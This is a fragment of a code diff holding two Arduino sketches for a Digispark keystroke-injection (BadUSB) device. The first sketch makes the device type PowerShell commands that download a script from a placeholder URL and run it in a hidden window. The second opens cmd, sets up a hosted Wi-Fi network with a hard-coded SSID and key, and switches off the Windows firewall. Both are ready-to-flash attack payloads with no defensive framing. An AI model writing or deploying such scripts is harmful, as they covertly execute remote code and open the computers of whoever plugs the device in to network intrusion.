DigiKeyboard.println("$client.DownloadFile(\"https://scriptURL\" , \"script.ps1\")");
|
||||||
|
delay(10000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1");
|
||||||
|
delay(4000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
while(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,22 @@
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
#define kbd_es_es
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("cmd");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("netsh wlan set hostednetwork mode=allow ssid=noobcake key=12345678");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("netsh wlan start hostednetwork");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("netsh advfirewall set currentprofile state off");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
delay(3000);
|
||||||
|
while(1);
|
||||||
|
}
|
Loading…
Reference in New Issue